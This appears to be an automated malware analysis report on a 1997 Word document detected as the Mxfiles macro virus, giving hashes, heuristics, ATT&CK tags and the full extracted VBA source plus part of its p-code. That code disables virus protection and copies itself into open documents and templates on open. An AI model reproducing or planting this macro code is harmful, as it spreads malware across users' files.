Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24676e4751e3f38c…

MALICIOUS

Office (OLE)

45.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ac79d3b4ca6e0d5eaeb5fd92d5e46d1c SHA-1: 86eb1c6f93e776ff19934fd6d0154d621d140426 SHA-256: 24676e4751e3f38c34f80687c83794ddd598ed01d32ac06530c120f73cebceb3
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic auto-exec markers and VBA macros, specifically an AutoOpen macro that executes a function named 'Mxfiles'. This function appears to be designed to copy itself to other documents and potentially download or execute further malicious content, as indicated by the 'shell' execution token. The ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Mxfiles-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mxfiles-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7666 bytes
SHA-256: 67079c60d9d7bdf8cdf0b3f1f123521de7f815e2afc817b1c2e9d0da3d62326e
Detection
ClamAV: Doc.Trojan.Mxfiles-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Mxfile"
Sub Autonew()
Mxfiles
End Sub
Sub AutoOpen()
Mxfiles
End Sub
Sub Openshell()
Mxfiles
End Sub

Sub Mxfiles()
txt = ""
On Error Resume Next
Application.ScreenUpdating = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
ddorg = ThisDocument.FullName
For A = 1 To Documents.Count
If Documents.Item(A).Path <> "" Then
dest = Documents.Item(A).FullName
SetAttr dest, vbNormal
Else
dest = Documents.Item(A).Name
End If
If ddorg <> dest Then
Application.OrganizerCopy Source:=ddorg, Destination:=dest, Name:="Mxfile", Object:=wdOrganizerObjectProjectItems
If Documents.Item(A).Path <> "" Then
Documents.Item(A).Save
End If
End If
dd = Documents.Item(A).AttachedTemplate
dd1 = Options.DefaultFilePath(Path:=wdUserTemplatesPath)
dd2 = dd1 + "\" + dd
SetAttr dd2, vbNormal
If ddorg <> dd2 Then
Application.OrganizerCopy Source:=ddorg, Destination:=dd2, Name:="Mxfile", Object:=wdOrganizerObjectProjectItems
End If
Next A
ff$ = GetSetting(appname:="network", Section:="unix", Key:="mxfile")
If Val(ff$) = 255 Then
Application.ScreenUpdating = True
Exit Sub
End If
dayn = Format(Date, "dd")
Monthn = Format(Date, "mm")
reg = dayn Mod Monthn
If reg = 0 And dayn > 10 Then
If ActiveWindow.ActivePane.View.Type <> wdPageView Then
View = ActiveWindow.ActivePane.View.Type
ActiveWindow.ActivePane.View.Type = wdPageView
End If
 ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageHeader
  Selection.EndKey Unit:=wdLine, Extend:=wdExtend
  Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
  Selection.TypeText Text:=right(txt, 16)
  ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageFooter
  Selection.EndKey Unit:=wdLine, Extend:=wdExtend
  Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
  Selection.TypeText Text:=right(txt, 16)
  ActiveWindow.ActivePane.View.SeekView = wdSeekMainDocument
ActiveWindow.ActivePane.View.Type = View
End If
Application.ScreenUpdating = True
End Sub


' Processing file: /opt/analyzer/scan_staging/9c03f1ca06ec41db8be12f3f0acbeaf5.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1128 bytes
' Macros/VBA/Mxfile - 5900 bytes
' Line #0:
' 	FuncDefn (Sub Autonew())
' Line #1:
' 	ArgsCall Mxfiles 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' 	FuncDefn (Sub AutoOpen())
' Line #4:
' 	ArgsCall Mxfiles 0x0000 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub Openshell())
' Line #7:
' 	ArgsCall Mxfiles 0x0000 
' Line #8:
' 	EndSub 
' Line #9:
' Line #10:
' 	FuncDefn (Sub Mxfiles())
' Line #11:
' 	LitStr 0x0000 ""
' 	St txt 
' Line #12:
' 	OnError (Resume Next) 
' Line #13:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #14:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #15:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #16:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #17:
' 	Ld ThisDocument 
' 	MemLd FullName 
' 	St ddorg 
' Line #18:
' 	StartForVariable 
' 	Ld A 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Documents 
' 	MemLd Count 
' 	For 
' Line #19:
' 	Ld A 
' 	Ld Documents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd Path 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #20:
' 	Ld A 
' 	Ld Documents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd FullName 
' 	St dest 
' Line #21:
' 	Ld dest 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #22:
' 	ElseBlock 
' Line #23:
' 	Ld A 
' 	Ld Documents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	St dest 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Ld ddorg 
' 	Ld dest 
' 	Ne 
' 	IfBlock 
' Line #26:
' 	Ld ddorg 
' 	ParamNamed Source 
' 	Ld dest 
' 	ParamNamed Destination 
' 	LitStr 0x0006 "Mxfile"
' 	Param
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.